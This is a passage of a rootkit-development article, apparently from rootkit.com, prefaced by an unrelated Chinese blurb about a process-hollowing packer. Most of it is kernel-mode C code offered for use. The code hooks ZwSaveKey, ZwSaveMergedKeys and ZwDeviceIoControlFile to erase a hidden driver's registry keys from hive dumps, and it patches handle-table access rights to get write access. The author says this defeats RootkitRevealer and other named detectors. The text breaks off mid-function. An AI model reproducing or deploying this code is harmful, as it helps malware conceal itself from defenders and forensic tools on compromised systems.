How to avoid the detection of hidden regkey by hooking NtSaveKey!

滴水逆向三期 win10 ASLR UnmapViewOfSection傀儡进程 加密壳项目 特意加了一个win10标题, 碰到0xc0000005的朋友就不要再浪费时间了, 我在这个问题上花了整整一天 概要 利用挂起创建进程, 然后卸载源程序(以下统称src)镜像(ps: 非必须选项), 阅读详情
This is all based on EiNSTeiN_'s article https://www.rootkit.com/newsread.php?newsid=272 How to avoid the detection of hidden regkey by hooking RegSaveKeyA, and also the notes from his follow-on board post https://www.rootkit.com/board.php?thread=3245&did=edge272&disp=3245 here. You'll need to be familiar with those posts and the structs they contain to follow the details of the code in this article, but it should be easy to port without having to read the fine details of the original assembly code.

Anyway, EiNSTeiN_ explained most of the important details about how to edit a saved reg hive in his article. I started by porting his code directly to C, because I find it easier to understand and modify like that, and I learnt a few more things about the registry file format which I implemented, and like I said in
https://www.rootkit.com/newsread.php?newsid=410 my earlier article, we can get at the file in kernel-mode by messing with the object table. So here's the finished version of my code. This code hides registry keys from RootkitRevealer, fhs11, khs01, knlsc13, and anything else that tries dumping a registry hive to disk. Don't forget to reinstall your keys after they reload the file once you've censored it, though!

I discovered a few new things about the registry that aren't in the earlier posts. One useful trick is how to mark the data blocks as free when you clear them out. This is important to stop the hive becoming fragmented and full of unreclaimable blocks. The record size entry is normally stored in all the data records in negative format and requires using the REALSIZE macro to decode it. If you set the size to a positive representation instead, the record is marked as free and can be reclaimed by the kernel when the hive is reloaded.

Not all the subkey entries are "lf" entries, either. There are also "li" records, which store only offsets to subkeys but not the 4-character hits, and there are "ri" records, which store an array of pointers to "lf" and/or "li" entries, for really big subkey lists.

The ClassName field in the "nk" (key) record structure sometimes points to a string. This is just a data record like a value, so we should clean it too if we're cleaning the nk that owns it. And the security records are referenced by the nk records, so if we clean an nk, we should decrement the reference count in the sk record it points to (if any). If the sk record then has no references, we should clean and free it too; this requires unlinking it from a doubly-linked list.

In my earlier article, about getting read access to a write-only file in kernel mode, there's a problem with accessing the HANDLE_TABLE structure directly. It changes in various versions of 2k/XP. We can hard-code structure offsets according to OS version, but I prefer not to if possible. Looking for another solution, "dumpbin /exports ntoskrnl.exe" shows an exported function called ExEnumHandleTable, and googling that found me a prototype for this very useful function that enumerates every handle table entry in a handle table, calling a hook function for each one.


typedef BOOLEAN (*EXENUMHANDLETABLECALLBACK) (
    PHANDLE_TABLE_ENTRY   HandleTableEntry,
    HANDLE                Handle,
    PVOID                 Param
);

BOOLEAN ExEnumHandleTable (  
    PHANDLE_TABLE             HandleTable,
    EXENUMHANDLETABLECALLBACK Callback,
    PVOID                     Param,
    PHANDLE                   Handle  OPTIONAL
);


The individual entries are the same on each OS, so that saves us some trouble. We still have to have a hard-coded offset for the location of the pointer to the handle table in the EPROCESS struct, alas. From Valerino's article https://www.rootkit.com/newsread.php?newsid=307 "Avoiding new methods of process detection">, I got the following values:

Windows 2000 = 0x128;
Windows XP = 0xc4;
Windows 2003 = 0xc4;// ?

So, our new code to find a handle table entry looks like this:


ULONG gProcessHandleTableOffset = 0x128;    // Needs to be inited at startup. Sorry :(

PHANDLE_TABLE RkGetHandleTable (PEPROCESS proc)
{
  return *(PHANDLE_TABLE *)(gProcessHandleTableOffset + (PUCHAR)proc);
}

typedef struct _HTE_LOOKUP {
  HANDLE                han;
  PHANDLE_TABLE_ENTRY   hte;
} HTE_LOOKUP, *PHTE_LOOKUP;

static BOOLEAN LookupHandleTableEntryCallback (PHANDLE_TABLE_ENTRY hte, HANDLE han, PVOID arg)
{
  PHTE_LOOKUP data = (PHTE_LOOKUP)arg;
  if (data->han == han)
  {
    data->hte = hte;
    return TRUE;
  }
  return FALSE;
}

static PHANDLE_TABLE_ENTRY RkLookupHandleTableEntry (HANDLE Handle)
{
HTE_LOOKUP lookup;

  lookup.han = Handle;
  lookup.hte = NULL;
  ExEnumHandleTable (RkGetHandleTable (PsGetCurrentProcess ()),
    LookupHandleTableEntryCallback, &lookup, NULL);
  return lookup.hte;
}


Then as before we can look up the handle and alter the access mode before duping a new handle and mapping the file as a section. In the name comparison function below, we have a couple of external definitions needed, which you would use your own equivalents for:


extern WCHAR          hiding_prefixU[];

Contains the name of your service key entry to match and hide. No nul terminator is needed. This is the same as the driver name you'd specify to "net start".


extern unsigned int   hiding_prefix_strlen;

The count, in wide chars, of the name to match; does not count any trailing nul.

The name testing function I use matches a substring at either the start or the end of the registry key, as I want to match both "servicename" and "LEGACY_servicename". You could do this differently if you liked; the only requirement is that the name test function returns zero if the given data and size represent the name of a key that is to be hidden. The entrypoints for cleaning files and in-memory hives pass this callback to the subroutine that does all the real work of parsing and modifying the file.


/* Name-comparison functions first. */
static int regnamecmpA (const char *a, size_t a_len, const char *b, size_t n)
{
  if (a_len < n)
    return -1;

  if (!_strnicmp (a, b, n))
    return 0;

  if ((a_len > n) && !_strnicmp (a + (a_len - n), b, n))
    return 0;

  /* fake.. we only care about matches anyway. */
  return +1;
}

static int rk_name_test (const void *data, int length)
{
  int rv;
  rv = regnamecmpA (data, length, hiding_prefixA, hiding_prefix_strlen);
  return rv;
}

NTSTATUS CensorRegHiveInMemory (PVOID data)
{
  CleanRegistryFile (data, rk_name_test);
  return STATUS_SUCCESS;
}

NTSTATUS CensorRegHive (HANDLE FileHandle)
{
  OBJECT_ATTRIBUTES oa = { sizeof oa, 0, NULL, 0 };
  PVOID viewbase = NULL;
  ULONG viewsize = 0;
  HANDLE readwritehan, sechan;
  NTSTATUS rv;

  /* To censor it, we have to be able to read it! */
  rv = ZwDuplicateObject (NtCurrentProcess (), FileHandle, NtCurrentProcess (),
    &readwritehan, FILE_GENERIC_READ | FILE_GENERIC_WRITE, 0, 0);

  /* If we couldn't get a readwrite handle easily, try it the hard way. */
  if (!NT_SUCCESS (rv))
  {
    PHANDLE_TABLE_ENTRY HandleTableEntry;
    ULONG old_access;

    HandleTableEntry = RkLookupHandleTableEntry (FileHandle);
    if (HandleTableEntry)
    {
      /* Found the entry: add read access temporarily. */
      old_access = HandleTableEntry->GrantedAccess;
      HandleTableEntry->GrantedAccess |= FILE_GENERIC_READ;

      /* Now we should be able to dup it ok. */
      rv = ZwDuplicateObject (NtCurrentProcess (), FileHandle, NtCurrentProcess (),
        &readwritehan, FILE_GENERIC_READ | FILE_GENERIC_WRITE, 0, 0);

      /* Restore old handle to how it was before. */
      HandleTableEntry->GrantedAccess = old_access;
    }
    if (!NT_SUCCESS (rv))
    {
      DbgPrint ("Nope still err $%08x/n", rv);
      return rv;
    }
    /* We did it! Cancel error return. */
    rv = STATUS_SUCCESS;
  }

  /* Ok, we have a write handle to object. Create a section
  for it and use the section to map a file view (then we can
  discard the file handle, as the section will keep it alive
  until we unmap it). */
  rv = ZwCreateSection (&sechan, SECTION_ALL_ACCESS, &oa, 0, PAGE_READWRITE, SEC_COMMIT, readwritehan);
  ZwClose (readwritehan);
  if (!NT_SUCCESS (rv))
  {
    DbgPrint ("Failed to create section $%08x/n", rv);
    return rv;
  }

  /* Map it */
  rv = ZwMapViewOfSection (sechan, NtCurrentProcess (), &viewbase, 0, 0,
    NULL, &viewsize, ViewUnmap, 0, PAGE_READWRITE);
  if (!NT_SUCCESS (rv))
  {
    DbgPrint ("Failed to map section $%08x/n", rv);
    ZwClose (sechan);
    return rv;
  }

  /* Off we go! Censor it! */
  __try {
    DbgPrint ("***MAPPED: Base $%08x->$%08x (size $%08x)/n",
      viewbase, viewsize + (PUCHAR)viewbase, viewsize);
    CensorRegHiveInMemory (viewbase);
  } __except (EXCEPTION_EXECUTE_HANDLER) {
    DbgPrint ("EXCEPTION: CleanRegistryFile $%08x/n", GetExceptionCode ());
  }

  /* Now unmap and close it! */
  rv = ZwUnmapViewOfSection (NtCurrentProcess (), viewbase);
  if (!NT_SUCCESS (rv))
    DbgPrint ("Failed to unmap view $%08x/n", rv);
  ZwClose (sechan);

  /* Return status */
  return STATUS_SUCCESS;
}


This code is called from standard api hooks like so:


NTSTATUS
NTAPI NewZwSaveKey (
  IN HANDLE KeyHandle,
  IN HANDLE FileHandle
)
{
  NTSTATUS rv;

  rv = (OldZwSaveKey) (KeyHandle, FileHandle);
  if (NT_SUCCESS (rv))
  {
    NTSTATUS rv2;
    __try {
      rv2 = CensorRegHive (FileHandle);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
      rv2 = GetExceptionCode ();
    }
    if (!NT_SUCCESS (rv2))
      DbgPrint ("reg censored: $%08x/n", rv2);
  }
  return rv;
}

NTSTATUS
NTAPI NewZwSaveMergedKeys (
  IN HANDLE KeyHandle1,
  IN HANDLE KeyHandle2,
  IN HANDLE FileHandle
)
{
  NTSTATUS rv;

  rv = (OldZwSaveMergedKeys) (KeyHandle1, KeyHandle2, FileHandle);
  if (NT_SUCCESS (rv))
  {
    NTSTATUS rv2;
    __try {
      rv2 = CensorRegHive (FileHandle);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
      rv2 = GetExceptionCode ();
    }
    if (!NT_SUCCESS (rv2))
      DbgPrint ("reg censored: $%08x/n", rv2);
  }
  return rv;
}


And if you want to defeat knlsc13.exe, you hook ZwDeviceIoControlFile, like so:


NTSTATUS
NTAPI NewZwDeviceIoControlFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    IN ULONG DeviceIoControlCode,
    IN PVOID InBuffer OPTIONAL,
    IN ULONG InBufferLength,
    OUT PVOID OutBuffer OPTIONAL,
    IN ULONG OutBufferLength
)
{
  NTSTATUS rv, rv2;

  rv = (*OldZwDeviceIoControlFile)(hFile, hEvent, IoApcRoutine, IoApcContext,
    pIoStatusBlock, DeviceIoControlCode, InBuffer, InBufferLength, OutBuffer,
    OutBufferLength);
  if (DeviceIoControlCode == 0x22265a)
  {
    // It is knlsc13.exe! Almost certainly! We should
    // perhaps verify the device name too??
    __try {
      rv2 = CensorRegHiveInMemory (OutBuffer);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
      rv2 = GetExceptionCode ();
    }
    if (!NT_SUCCESS (rv2))
      DbgPrint ("reg censored: $%08x/n", rv2);
  }
  return rv;
}


Now for the good stuff: the code to walk and clean the registry hive. First we've got a huge list of structs and prototypes that you'd want to put in a header file somewhere.


// Here are some structs from EiNSTeiN's posts. Forward declare it all first.

typedef struct _REGF_BLOCK  REGF_BLOCK,   *PREGF_BLOCK;
typedef struct _HBIN_BLOCK  HBIN_BLOCK,   *PHBIN_BLOCK;
typedef struct _NK_RECORD   NK_RECORD,    *PNK_RECORD;
typedef struct _LF_RECORD   LF_RECORD,    *PLF_RECORD;
typedef struct _LI_RECORD   LI_RECORD,    *PLI_RECORD;
typedef struct _RI_RECORD   RI_RECORD,    *PRI_RECORD;
typedef struct _INDEX_RECORD  INDEX_RECORD, *PINDEX_RECORD;
typedef struct _LF_ENTRY    LF_ENTRY,     *PLF_ENTRY;
typedef struct _VALUE_LIST  VALUE_LIST,   *PVALUE_LIST;
typedef struct _VK_RECORD   VK_RECORD,    *PVK_RECORD;
typedef struct _DATA_RECORD DATA_RECORD,  *PDATA_RECORD;
typedef struct _SK_RECORD   SK_RECORD,    *PSK_RECORD;

#pragma pack(4)
typedef struct _NK_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //should be nk (0x6B6E)
/*006*/ WORD          KeyFlag; // 2Ch for the root key (the first key after the first header), for all other 20h
/*008*/ QWORD         LastModifiedDate;
/*010*/ DWORD         unk10;
/*014*/ PNK_RECORD    ParentKey_offset; //relative to the first hbin block
/*018*/ DWORD         NumberOfSubKeys; //number of key in the lf-record
/*01C*/ DWORD         unk1C;
/*020*/ union {
/*020*/   PINDEX_RECORD IndexRecord_offset;  //relative to the first hbin block
/*020*/   PLF_RECORD    LfRecord_offset;  //relative to the first hbin block
/*020*/   PLI_RECORD    LiRecord_offset;  //relative to the first hbin block
/*020*/   PRI_RECORD    RiRecord_offset;  //relative to the first hbin block
/*020*/ };
/*024*/ DWORD         unk24;
/*028*/ DWORD         NumberOfValues; //number of values in the value-list
/*02C*/ PVALUE_LIST   ValueList_offset; //relative to the first hbin block
/*030*/ PSK_RECORD    SkRecord_offset; //relative to the first hbin block
/*034*/ PDATA_RECORD  ClassName_offset; //relative to the first hbin block
/*038*/ DWORD         unk38;
/*03C*/ DWORD         unk3C;
/*040*/ DWORD         unk40;
/*044*/ DWORD         unk44;
/*048*/ DWORD         unk48;
/*04C*/ WORD          NameLength;
/*04E*/ WORD          ClassNameLength;
/*050*/ WCHAR         Name[1];    //see NameLength to know the size
                      //the name is stored in ASCII form but doesn't alway terminate by 0x00
} NK_RECORD, *PNK_RECORD;
#pragma pack()

//the size of this block is 20h and is followed by the hive root-key
#pragma pack(4)
typedef struct _HBIN_BLOCK {
/*000*/ DWORD        Header;    //must be hbin (0x6E696268)
/*004*/ DWORD        ToPreviousBlock; //offset of this block - this value = offset of the previous block, should be 0 for the first block
/*008*/ DWORD        ToNextBlock; //offset to the next block, should be 0 for the last block
/*00C*/ DWORD        unkC;
/*010*/ DWORD        unk10;
/*014*/ DWORD        unk14;
/*018*/ DWORD        unk18;
/*01c*/ DWORD        unk1c;
/*020*/ NK_RECORD    RootNkRecord;
} HBIN_BLOCK, *PHBIN_BLOCK;
#pragma pack()

#pragma pack(4)
//the size of this block is alway 1000h (4096.) and is followed by a HBIN block
typedef struct _REGF_BLOCK {
/*0000*/ DWORD        Header; //must be regf (0x66676572)
/*0004*/ DWORD        unk4;
/*0008*/ DWORD        unk8;
/*000C*/ QWORD        LastModifiedDate;
/*0010*/ /*DWORD        unk10; no this is part of previous qword! */
/*0014*/ DWORD        dw14; //alway 1
/*0018*/ DWORD        dw18; //alway 3
/*001C*/ DWORD        dw1C; //alway 0
/*0020*/ DWORD        dw20; //alway 1
/*0024*/ DWORD        FirstKey; //offset of first key (must be 20h)
/*0028*/ DWORD        DataBlocksSize; // size of the file - size of this block
/*002C*/ char         Padding[4052]; //the rest is not important
/*1000*/ HBIN_BLOCK   FirstHbinBlock;
} REGF_BLOCK, *PREGF_BLOCK;
#pragma pack()

typedef struct _LF_ENTRY {
/*000*/ PNK_RECORD    NkRecord_offset; //relative to the first hbin block
/*004*/ union {
/*004*/   CHAR          NkRecord_hint[4]; //this is the 4 first letters of the key name
/*004*/   DWORD         Checksum; //this is the 4 first letters of the key name
/*004*/ };
} LF_ENTRY, *PLF_ENTRY;

typedef struct _LF_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be lf (0x666C)
/*006*/ WORD          NumberOfKeys; //number of keys in the record
/*008*/ LF_ENTRY      LfEntrys[1]; //this array have a size of 'NumberOfKeys'
} LF_RECORD, *PLF_RECORD;

typedef struct _LI_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be li (0x696C)
/*006*/ WORD          NumberOfKeys; //number of keys in the record
/*008*/ PNK_RECORD    LiEntrys[1]; //this array have a size of 'NumberOfKeys'
} LI_RECORD, *PLI_RECORD;

// An RI record is a list of offsets to LI or LF indexes when a
// key has so many subkeys that it needs two layers of indexing.
typedef struct _RI_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be ri (0x6972)
/*006*/ WORD          NumberOfRecords; //number of keys in the record
/*008*/ union {
/*008*/   PINDEX_RECORD IndexEntrys[1]; //this array have a size of 'NumberOfRecords'
/*008*/   PLI_RECORD    LiEntrys[1]; //this array have a size of 'NumberOfRecords'
/*008*/   PLF_RECORD    LfEntrys[1]; //this array have a size of 'NumberOfRecords'
/*008*/ };
} RI_RECORD, *PRI_RECORD;

// This represents the common part of all three index record types. Although
// we don't strictly need it, it makes the code nicer and more robust.
typedef struct _INDEX_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be li (0x696C), ri (0x6972), or lf (0x666C)
/*006*/ WORD          NumberOfItems; //number of keys or subrecords in the record
} INDEX_RECORD, *PINDEX_RECORD;

typedef struct _VALUE_LIST {
/*000*/ DWORD         ListSize; //stored in negative form, see the REALSIZE macro
/*004*/ PVK_RECORD    VkRecords_offset[1]; //offset relative to the first hbin block
                      //this array has the size of NumberOfValues field in the owner-nk record
} VALUE_LIST, *PVALUE_LIST;

//if the size of value is lower or equal to a DWORD size
//the data is stored in the DataRecord_offset field itself
//instead of an offset, and bit31 of length is set to 1.
typedef struct _VK_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be vk (0x6B76)
/*006*/ WORD          NameLength; //length of the Name[] field
/*008*/ DWORD         DataLength; //length of the data in the data block
/*00C*/ PDATA_RECORD  DataRecord_offset; //offset relative to the first hbin block
/*010*/ DWORD         ValueType; //see the comments below
/*014*/ WORD          Flag;
/*016*/ WORD          unk16;
/*018*/ WCHAR         Name[1]; //stored in UNICODE or ASCII form but doesn't alway terminate by 0x00
} VK_RECORD, *PVK_RECORD;

typedef struct _DATA_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ BYTE          Data[1]; //this field has a size of DataLength of the owner-vk record
} DATA_RECORD, *PDATA_RECORD;

typedef struct _SK_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be sk (0x6B73)
/*006*/ WORD          unk6;
/*008*/ PSK_RECORD    LastRecord_offset; //relative to the first hbin block
/*00C*/ PSK_RECORD    NextRecord_offset; //relative to the first hbin block
/*010*/ DWORD         UsageCounter; //number of key by wich this block is referenced
/*014*/ DWORD         SizeOfSettings; //size of the following field
/*018*/ BYTE          Settings[1];
} SK_RECORD, *PSK_RECORD;

//REALSIZE - return a positive size from a negative one
#define REALSIZE(x)               ((~(x)) + 1)
#define VALUE_DATA_IN_OFFSET_FLAG (0x80000000)
#define DATA_IN_VK_RECORD(vk)     ((vk)->DataLength & VALUE_DATA_IN_OFFSET_FLAG)
#define REAL_VK_DATA_SIZE(vk)     ((vk)->DataLength & ~VALUE_DATA_IN_OFFSET_FLAG)
#define HBIN_REL(type, offs)      ((type *)(((DWORD)(offs)) + (DWORD)hbin))
#define VALID_HBIN_OFFSET(offs)   ((offs) && ~(DWORD)(offs))
#define HBIN_REL_SIZECHECK(addr)  ((((DWORD)(addr)) - ((DWORD)data)) >= total_size)
#define HBIN_OFFS(ptr)            (((DWORD)(ptr)) - ((DWORD)hbin))

typedef int (*PCLEAN_NAME_TEST)(const void *data, int length);


Then a bunch of helper subroutines. Each one of these is dedicated to cleaning one of the structs we have defined above. Most of them are simple, but if there are any complications to cleaning a struct they hide it; for example, CleanVK knows that the data in a VK record is only sometimes stored in a DATA_RECORD but at other times stored in the DataRecord_offset field itself. CleanNK knows to clean the class name string and to decrement the usage count on the security descriptor and clean it also if the count is now zero, and CleanSK knows to unlink a security descriptor from the linkedlist before cleaning and freeing it.


static __inline void CleanDataRecord (PDATA_RECORD dr)
{
  DWORD size;

  size = REALSIZE (dr->RecordSize);
  memset (dr, 0, size);
  /* Replace size with positive to mark free. */
  dr->RecordSize = size;
}

static __inline void CleanVL (PVALUE_LIST vl)
{
  DWORD size;

  size = REALSIZE (vl->ListSize);
  memset (vl, 0, size);
  /* Replace size with positive to mark free. */
  vl->ListSize = size;
}

static __inline void CleanLI (PLI_RECORD li)
{
  DWORD size;

  size = REALSIZE (li->RecordSize);
  memset (li, 0, size);
  /* Replace size with positive to mark free. */
  li->RecordSize = size;
}

static __inline void CleanLF (PLF_RECORD lf)
{
  DWORD size;

  size = REALSIZE (lf->RecordSize);
  memset (lf, 0, size);
  /* Replace size with positive to mark free. */
  lf->RecordSize = size;
}

static __inline void CleanRI (PRI_RECORD ri)
{
  DWORD size;

  size = REALSIZE (ri->RecordSize);
  memset (ri, 0, size);
  /* Replace size with positive to mark free. */
  ri->RecordSize = size;
}

static void CleanVK (PVK_RECORD vk, PHBIN_BLOCK hbin)
{
  DWORD size;

  size = REALSIZE (vk->RecordSize);
  if (vk->Header != 'kv')
  {
    DbgPrint ("GIMLET! $%08x $%04x /n", vk, vk->Header);
    return;
  }
  if (!DATA_IN_VK_RECORD (vk) && VALID_HBIN_OFFSET (vk->DataRecord_offset))
  {
    CleanDataRecord (HBIN_REL (DATA_RECORD, vk->DataRecord_offset));
  }
  memset (vk, 0, size);
  /* Replace size with positive to mark free. */
  vk->RecordSize = size;
}

static void CleanSK (PSK_RECORD sk, PHBIN_BLOCK hbin)
{
  DWORD size;

  size = REALSIZE (sk->RecordSize);
  /* We must unlink it from the list. */
  if (VALID_HBIN_OFFSET (sk->NextRecord_offset))
  {
    PSK_RECORD next = HBIN_REL (SK_RECORD, sk->NextRecord_offset);
    next->LastRecord_offset = sk->LastRecord_offset;
  }
  if (VALID_HBIN_OFFSET (sk->LastRecord_offset))
  {
    PSK_RECORD last = HBIN_REL (SK_RECORD, sk->LastRecord_offset);
    last->NextRecord_offset = sk->NextRecord_offset;
  }
  memset (sk, 0, size);
  /* Replace size with positive to mark free. */
  sk->RecordSize = size;
}

static void CleanNK (PNK_RECORD nk, PHBIN_BLOCK hbin)
{
  DWORD size;

  size = REALSIZE (nk->RecordSize);
  if (nk->Header != 'kn')
  {
    DbgPrint ("BADGER1! $%08x $%04x /n", nk, nk->Header);
    return;
  }
  /* clean class name string if any. */
  if (nk->ClassNameLength && VALID_HBIN_OFFSET (nk->ClassName_offset))
  {
    CleanDataRecord (HBIN_REL (DATA_RECORD, nk->ClassName_offset));
  }
  /* dec sd ref cnt (if sd present) */
  if (VALID_HBIN_OFFSET (nk->SkRecord_offset))
  {
    PSK_RECORD sk = HBIN_REL (SK_RECORD, nk->SkRecord_offset);
    --sk->UsageCounter;
    /* If now unused, clean it */
    if (!sk->UsageCounter)
    {
      CleanSK (sk, hbin);
    }
  }

  /* values and subkey indices already cleared.  */
  memset (nk, 0, size);
  /* Replace size with positive to mark free. */
  nk->RecordSize = size;
  /* Woot! */
}


These little functions are just the final wrappers around the code that does all the work:


static void WalkHBinRootkey (PHBIN_BLOCK cur_hbin, PHBIN_BLOCK hbin, PCLEAN_NAME_TEST name_test)
{
  PNK_RECORD nk;

  nk = &cur_hbin->RootNkRecord;
  DbgPrint ("Ok, base hbin $%08x, current one $%08x so rootkey at $%08x/n",
    hbin, cur_hbin, nk);
  WalkKeyTree (nk, hbin, name_test, FALSE);
  DbgPrint ("Tree done!*****/n");
}

/* Map a view of a registry file, pass the base pointer to this. */
static void CleanRegistryFile (void *data, PCLEAN_NAME_TEST name_test)
{
  PREGF_BLOCK regf = (PREGF_BLOCK) data;
  PHBIN_BLOCK hbin = &regf->FirstHbinBlock;

  if (regf->Header != 'fger')
  {
    DbgPrint ("BADGER2! $%08x $%08x /n", regf, regf->Header);
    return;
  }
  WalkHBinRootkey (HBIN_REL (HBIN_BLOCK, 0), hbin, name_test);
  return;
}


So here it is. WalkKeyTree recurses down the tree of keys in the hive, looking for keys to be hidden. When it finds one, it recursively cleans out all its subkeys, wipes its values, and cleans the key itself. It also has to remove the key from the index that it was found in, as otherwise the parent key will still have an entry pointing to a bogus address.


static void WalkKeyTree (PNK_RECORD nk, PHBIN_BLOCK hbin, PCLEAN_NAME_TEST name_test, char do_clean)
{
  DWORD size = REALSIZE (nk->RecordSize);

  if (nk->Header != 'kn')
  {
    DbgPrint ("BADGER1b! $%08x $%04x /n", nk, nk->Header);
    return;
  }

  /* If offset to value list is not valid we have no values to clear.  */
  if (do_clean && VALID_HBIN_OFFSET (nk->ValueList_offset))
  {
    DWORD n, size;
    PVALUE_LIST vl = HBIN_REL (VALUE_LIST, nk->ValueList_offset);
    size = REALSIZE(vl->ListSize);
    for (n = 0; n < nk->NumberOfValues; n++)
    {
      if (VALID_HBIN_OFFSET (vl->VkRecords_offset[n]))
      {
        PVK_RECORD vk = HBIN_REL (VK_RECORD, vl->VkRecords_offset[n]);
        /* clean vk and data record */
        CleanVK (vk, hbin);
      }
    }
    /* clean vl */
    CleanVL (vl);
  }

  if (VALID_HBIN_OFFSET (nk->IndexRecord_offset))
  {
    PINDEX_RECORD index = HBIN_REL (INDEX_RECORD, nk->IndexRecord_offset);
    RI_RECORD temp_ri;
    PRI_RECORD ri;
    char clean_ri = FALSE;
    DWORD rec;
    /* we must check the sig. if it is an ri we have to iterate
     across multiple li or lf records, otherwise we give ourselves
     a fake ri with one entry to the single lf/li for simplicity. */
    if (index->Header == 'ir')
    {
      ri = (PRI_RECORD)index; /* that's what we want! */
    }
    else
    {
      /* build a fake one! */
      temp_ri.Header = 'ir';
      temp_ri.RecordSize = 0;
      temp_ri.NumberOfRecords = 1;
      /* oops! */
      /*temp_ri.IndexEntrys[0] = index;*/
      /* not that easy! We must make it hbin-relative!*/
      temp_ri.IndexEntrys[0] = (PINDEX_RECORD) HBIN_OFFS (index);
      /* sanity check */
      if ((index->Header != 'il') && (index->Header != 'fl'))
      {
        DbgPrint ("BAD INDEX $%04x/n", index->Header);
        temp_ri.NumberOfRecords = 0;
      }
      ri = &temp_ri;
    }

    /* What are we waiting for? Let's go! */
    for (rec = 0; rec < ri->NumberOfRecords; rec++)
    {
      DWORD n, size;
      char collapse_ri = FALSE;
      PINDEX_RECORD index;

      /* check for safety.*/
      if (!VALID_HBIN_OFFSET (ri->IndexEntrys[rec]))
      {
        DbgPrint ("BADGER9 $%08x/n", ri->IndexEntrys[rec]);
        continue;
      }

      index = HBIN_REL (INDEX_RECORD, ri->IndexEntrys[rec]);
      if (index->Header == 'il')
      {
        PLI_RECORD li = HBIN_REL (LI_RECORD, ri->LiEntrys[rec]);
        char clean_li = FALSE;
        size = REALSIZE(li->RecordSize);

        for (n = 0; n < li->NumberOfKeys; n++)
        {
          char clean_this;
          if (VALID_HBIN_OFFSET (li->LiEntrys[n]))
          {
            PNK_RECORD subk = HBIN_REL (NK_RECORD, li->LiEntrys[n]);
            /* Do we want to destroy this key? */
            clean_this = do_clean || !(*name_test)(&subk->Name[0], subk->NameLength);
            /* now check/clean sub keys. */
            WalkKeyTree (subk, hbin, name_test, clean_this);
            if (clean_this && (clean_this != do_clean))
            {
              /* ok, we must compact the index. Is it going to be
               easier to do each match or save all for end? May as
               well do it all in one go as we unlikely to hide more
               than one subkey of any given key most of the time.

               we want to shuffle down all subsequent entries. if the
               list has only 1 entry we delete it altogether. finally
               we decrement the num subkeys in the master.

               and we might need to collapse the ri list as well. */
              nk->NumberOfSubKeys--;
              li->NumberOfKeys--;
              if (!li->NumberOfKeys)
              {
                /* remove li from ri and clean it. adjust outer loop. or
                 simpler, just clean li and signal outer (ri) loop to remove it.*/
                clean_li = TRUE;
                collapse_ri = TRUE;
              }
              else
              {
                if (n < li->NumberOfKeys)
                  RtlMoveMemory (&li->LiEntrys[n], &li->LiEntrys[n + 1],
                    (li->NumberOfKeys - n) * sizeof (PNK_RECORD));
                /* reset inner loop */
                --n;
              }
            };  /* if (we delete subkey n but not entire parent key) */
          };  /* if (entry n is valid) */
        };  /* end of inner (for n = num keys) loop */
        if (clean_li || do_clean)
        {
          /* clean il */
          CleanLI (li);
        }
      }
      else if (index->Header == 'fl')
      {
        PLF_RECORD lf = HBIN_REL (LF_RECORD, ri->LfEntrys[rec]);
        char clean_lf = FALSE;
        size = REALSIZE(lf->RecordSize);

        for (n = 0; n < lf->NumberOfKeys; n++)
        {
          char clean_this;
          if (VALID_HBIN_OFFSET (lf->LfEntrys[n].NkRecord_offset))
          {
            PNK_RECORD subk = HBIN_REL (NK_RECORD, lf->LfEntrys[n].NkRecord_offset);
            /* Do we want to destroy this key? */
            clean_this = do_clean || !(*name_test)(&subk->Name[0], subk->NameLength);
            /* now check/clean sub keys. */
            WalkKeyTree (subk, hbin, name_test, clean_this);
            if (clean_this && (clean_this != do_clean))
            {
              /* ok, we must compact the index (indexes). */
              nk->NumberOfSubKeys--;
              lf->NumberOfKeys--;
              if (!lf->NumberOfKeys)
              {
                /* clean li and signal outer (ri) loop to remove it. */
                clean_lf = TRUE;
                collapse_ri = TRUE;
                /* we are about to exit inner loop anyway. */
              }
              else
              {
                if (n < lf->NumberOfKeys)
                  RtlMoveMemory (&lf->LfEntrys[n], &lf->LfEntrys[n + 1],
                    (lf->NumberOfKeys - n) * sizeof (LF_ENTRY));
                /* reset inner loop */
                --n;
              }
            };  /* if (we delete subkey n but not entire parent key) */
          };  /* if (entry n is valid) */
        };  /* end of inner (for n = num keys) loop */
        if (clean_lf || do_clean)
        {
          /* clean fl */
          CleanLF (lf);
        }
      }
      else
      {
        DbgPrint ("OH NO! WHAT?/n");
      }
      /* ok: do we collapse the ri becuase the current entry (#rec)
       has no subkey entries any more after we deleted them? */
      if (collapse_ri)
      {
        --ri->NumberOfRecords;
        if (!ri->NumberOfRecords)
        {
          clean_ri = TRUE;
        }
        else
        {
          /* this won't ever happen for fake temp ri with one entry. */
          if (rec < ri->NumberOfRecords)
            RtlMoveMemory (&ri->IndexEntrys[rec], &ri->IndexEntrys[rec + 1],
              (ri->NumberOfRecords - rec) * sizeof (PINDEX_RECORD));
          /* reset outer loop */
          --rec;
        }
      };  /* end of (if we needed to remove an entire index from the ri */
    };  /* end of (for all records in ri) */
    if (clean_ri || do_clean)
    {
      /* clean ri if not temp fake */
      if (ri->RecordSize)
        CleanRI (ri);
      /* if we have removed entire ri/temp fake, remove ptr to it.
       don't bother if about to clean entire nk record anyway. */
      if (clean_ri && !do_clean)
      {
        /* we have cleaned all subkeys but not parent itself */
        nk->IndexRecord_offset = 0;
      }
    }
  }
  if (do_clean)
  {
